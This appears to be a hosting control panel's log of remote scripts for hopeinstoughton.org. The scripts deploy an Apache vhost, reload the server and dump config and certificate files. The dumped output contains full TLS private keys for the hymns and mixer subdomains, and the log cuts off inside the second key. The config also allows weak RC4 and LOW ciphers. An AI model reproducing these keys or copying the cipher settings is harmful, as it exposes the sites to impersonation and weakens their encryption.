    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2026-07-18 06:00:44: 

PUT: /tmp/pkp781353

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi


2026-07-18 06:00:44: 

chmod 755 /tmp/pkp781353; /tmp/pkp781353; rm /tmp/pkp781353

2026-07-18 06:00:45: 




2026-07-18 06:00:45: 

PUT: /tmp/pkp815720

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:00:45: 

chmod 755 /tmp/pkp815720; /tmp/pkp815720; rm /tmp/pkp815720

2026-07-18 06:00:45: 


.


2026-07-18 06:00:45: Establishing a connection
2026-07-18 06:00:46: 

PUT: /tmp/pkp391558

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:00:47: 

chmod 755 /tmp/pkp391558; /tmp/pkp391558; rm /tmp/pkp391558

2026-07-18 06:00:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-18 06:00:47: 

PUT: /tmp/pkp509588

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:00:48: 

chmod 755 /tmp/pkp509588; /tmp/pkp509588; rm /tmp/pkp509588

2026-07-18 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-07-18 06:00:48: 

PUT: /tmp/pkp575238

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:00:48: 

chmod 755 /tmp/pkp575238; /tmp/pkp575238; rm /tmp/pkp575238

2026-07-18 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	7445
c3:d5:86:22:38:15:93:50:27:32:de:67:14:fc:ea:9e

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBRIWKoLVjfZPu5myWPsTvcl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMjExWhcNMjYxMDE2MDUwMjEwWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAvIWQNJ5xce+tgb+iTTFvBsf3+oE7cseVTQDysmNqd9L9759w
Ufx61AjhO2wrZkSQF0awfuQZmT0dzykYaZMAm2KzDeAg4keyBrnz2hmxPCZgQZEj
AFtwoKG2c70rSFyyV4q7l5UIRnEUEBVlXZTXMx6YNDt6OSmr8P3uQylUHgMFnMll
D5R7SQ2g0bI+DfsG53Et8MEWqxpjk7RJWFQfyEMCthGL8xLde0si+NVrwLETRRG+
oDAiUuOypt4d/SqXkOE1VeLFM/Oor3QMAzdSrkKHG4md920cjOJBJXvaBdizmrNo
zjRC3plxpZEFyVY9yt8KPJUcTQ1frEQwI0bEyQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEa3QvG6TYjzRyrK4kSfDzfLcpQOMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzEyNi5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9z0Aey
AAAEAwBIMEYCIQC5Gl65pKxYm8cYjpq3kRxgVuSlt9jx/IdlvZWw4aL2KAIhAOvF
TV5I5/a9VBklG16Dv5Dups1e/SZLNkfULKwkuPnJAH4ARq+GPTs+5Z+ld96oJF02
sNntIqIj9GF3QSKUUu6VUF8AAAGfc9AIHAAIAAAFAA1y6NAEAwBHMEUCIQD60G//
g42k67Jp9l5iQm/EX2WlitGHM7OHIg15u45mhwIgO9Xt9PGMAEtqJppFPT6x7/7u
ZuiCk6Xy2z/qE2yixJ0wDQYJKoZIhvcNAQELBQADggEBACa606DhcxI9kX4CpnKX
KNjUzbqe9FzOyVVRTkJD6c8yef7Ad+iA9hSDA2W/4TTH5hr74K05S80XV+fRipQ3
6ezOIucjBg44wdF97I5ZF6QbzRCMFGVSrnRXSTEyjBz0uTB67PDPhyMeBxS28n4t
M7iHK/9/2yuvX1Dr3pCFnHZd4tOb5pqql6N9dHQg2cTU1/o4HhnvadedUUh5qPZK
JBslvElF5znC+HBIIzIMo0/sSJCfWB3v+Dr1Y7HTjDaf5M5bsVyeRmHlt3gXyE0O
vyO+Fa6VgRlad2YAd+CMaMpUCf2y4erq7TW9Jlr5i2IYesaMJEPB9W8fesPja/pR
2Pc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8hZA0nnFx762B
v6JNMW8Gx/f6gTtyx5VNAPKyY2p30v3vn3BR/HrUCOE7bCtmRJAXRrB+5BmZPR3P
KRhpkwCbYrMN4CDiR7IGufPaGbE8JmBBkSMAW3CgobZzvStIXLJXiruXlQhGcRQQ
FWVdlNczHpg0O3o5Kavw/e5DKVQeAwWcyWUPlHtJDaDRsj4N+wbncS3wwRarGmOT
tElYVB/IQwK2EYvzEt17SyL41WvAsRNFEb6gMCJS47Km3h39KpeQ4TVV4sUz86iv
dAwDN1KuQocbiZ33bRyM4kEle9oF2LOas2jONELemXGlkQXJVj3K3wo8lRxNDV+s
RDAjRsTJAgMBAAECggEAR6I+yee8tqz6kndFTiyvAfYhEZRiiPoyjpiCH+urzI0l
RZShYt3btE8Nen1fPlRmJhoLvaOh4Hr7JTj52D/t9p056VdVV3YjvO+Sq7iggnkY
kUF7ecrFEJxyDid+11e1wpLqNi6Afve/xl7C7hy86uVAs3Q4PJlLht6OVwHQvzgB
uDevxx4F5w5d7HFO0x4NiYl3g1KgdyDmUDBfZYciTJ8uyeWPwzJlx639aC0jYzz9
sZNZmnt/10QoWHs1H7BeZMKCdL7c5UdPAxQtvOywZLXJMf2A1zGg3fkfSRQAj4sw
ZXbnaqDjIp0JYLUU6QKM+SQLLFVRH+7P+cHcHfVvewKBgQD1+VuySYWdVcIbMMId
zoOJ1nrCEFXvuubycBsINL6ORHA3WK/DBLD+NdfC4KF9Yxyta+ITDXAUmC5OXX8A
GIRCzD8P4bhulb4xE5lumiBbb1ech0clV7/0+rTiABm1fdOzZeIhs+P037XWzE2N
e9K9JQtGfwX5TQJ3Vat5bBT6mwKBgQDENLZ/MgBHgrxKJ7fIfiALY1jiM+GWCaqG
8oZT8oxC9k1+TJs9GpXGzcrzWZq1+GDpI9Boa5ZO2IlIqu8pDFIYXwlGIv7iCQBi
CtX8T2PmFDztPnXAAbUpgfx3c4T3D9+ffVh481v66sY5dn4rBXC7M4HcIZmWPMh+
dS53EstyawKBgHLloNyeFUjSJ1J2KyarMaxwQHVoFgxeXMTAcxAZOy3PcC+aQLey
+E42rmt8bFLauimT7E2ECGfGUlMOv2U3Doj5STfM807MqcPY6OHOIvEzCFS4qBYc
cDEp7tZmv5uUhBAXtlKR6hiXayRD2LIPNfheVm7+pLa4Lz+5B9k3EHGjAoGBAIUd
Oj97feMGWJZ68d4ta7IuOcxl5IO1lSMvAWGM6go4LoUkliHTmpAhaLLHNQaGN8GU
0b02WOivUhyiE9YmjMAKIjGaZpCWCNN7hIhEmIMtcdSHjr2wquc5UD7+edRgyZfc
I50ThnDqvYeY06p+a2gmXtEpXpkmLeRVvit87dh3AoGBAK0I5zRYZmU9sIscz7dD
Nckl62Dh4vCaxrTFuMz0frBtodLAhvun0SeJ2oLfmdGMIOTEUkCq/t1frUJXJFmw
r9BaspUvTKNHHT9Q3qNsWI8NtNNRbrmFJ/KiKnMksH7UE8fZVtZ+rCbsaZGcgGFg
ourCmg5RtoKnGIfZpDqfevkY
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-18 06:00:49: Establishing a connection
2026-07-18 06:00:50: Establishing a connection
2026-07-18 06:00:51: 

PUT: /tmp/pkp304087

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:00:52: 

chmod 755 /tmp/pkp304087; /tmp/pkp304087; rm /tmp/pkp304087

2026-07-18 06:00:52: 


0


2026-07-18 06:01:13: Establishing a connection
2026-07-18 06:01:14: 

PUT: /tmp/pkp517040

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
d0:12:26:98:a8:3d:5b:d4:f6:34:f9:2f:92:38:d3:28

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBafAEETDuEMiyc7UrwXjYuT2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMjQyWhcNMjYxMDE2MDUwMjQxWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAvW0Z4XQ9U78hxB8TO1yBIxMoE9dZZwNEeyTgxbo6ZoWQa+eK
Nfo9OpsocT8dSeehsd/YjkWZhW5Vh0BRXjHU1CV5bEO8I4zYCKTLNvS2t7P8dOVf
GzeSevCpaVuEB4QXk3Y9TIhSU3dLaT/YFTI2HWYRAWmOGKS47fVkxpdf4bdC4wkb
G44RAqFPYw4oCBNk41IzIzmT0aCpUfXq2DivA84KEMQiA+SALSb5ok38OGJg6QaH
eJnwxb4r/3h6C2ginKuVii2UCJ0/IBBeecawJfqPPv0gk2cB1D0lvAwTMvhPRpXO
+4idebtrj+1RnZ/VyPwCSl+oqmjhPJYfJP0kAwIDAQABo4ICJzCCAiMwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFImJA3xBHeaZ1faItDZBezTGgniFMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzExOS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ9z0IGv
AAAEAwBHMEUCIQDdziWz677u+qtQ5Sbojrz6KTRy6w90e3i/gGDoxeBjwgIgGpI9
vAg3VBpZ0cIC1PdawV7eVWBGgNlfV3XF1ySwHrEAfQAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ9z0H6tAAgAAAUAKnBvrQQDAEYwRAIgI+RhVuqC
p/cUrE5NOV/8lF1DahTAF99jg1G38Voc0VICIDfds/rC+CTmzZYzBP95za7Vtvjq
3bp29/vT4gJ2Kv+tMA0GCSqGSIb3DQEBCwUAA4IBAQBMJhAwelzOpRERD/jrTUe6
1ab10XJaagx53T94/VVLx4vNNpwagA2XoeGyAhmQIaj9awo1KnR0K/NcJ3be4dnz
yynpdVy9CqopZpO7E9ZaBP2/0vVv8zrBC92ZtS0CzCboIvmqkedE+cCCMoKnjbWq
80/KIs02GVusIHHv2FbdXzIqZ+TpTaXM164Vs6Rcnl2LNeJAW3t9dIMjKdBjbCvz
FsjMMhHZ6LHmx9B5Gs0lDufLpRo/C/sbZLiV6rtoJsxmHx6H8jwc3Uw8RcgOM3M4
S69yqllIRusREtQZ9xXVyiyQFbAcZ7T9kTBkXJWpJwgzeBpU5RUAoN8PNfri3oHY
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9bRnhdD1TvyHE
HxM7XIEjEygT11lnA0R7JODFujpmhZBr54o1+j06myhxPx1J56Gx39iORZmFblWH
QFFeMdTUJXlsQ7wjjNgIpMs29La3s/x05V8bN5J68KlpW4QHhBeTdj1MiFJTd0tp
P9gVMjYdZhEBaY4YpLjt9WTGl1/ht0LjCRsbjhECoU9jDigIE2TjUjMjOZPRoKlR
9erYOK8DzgoQxCID5IAtJvmiTfw4YmDpBod4mfDFviv/eHoLaCKcq5WKLZQInT8g
EF55xrAl+o8+/SCTZwHUPSW8DBMy+E9Glc77iJ15u2uP7VGdn9XI/AJKX6iqaOE8
lh8k/SQDAgMBAAECggEATXTFNmk/gnUPK5DBXm6O53a31pUiG3s8j1YfCvsBUlaf
HWBKJZQzYTl8qgHyyfuLJJ6xgEt5YRQiqPFl1CxwKGdCZUC1N5wp4i7wYYJjDG7u
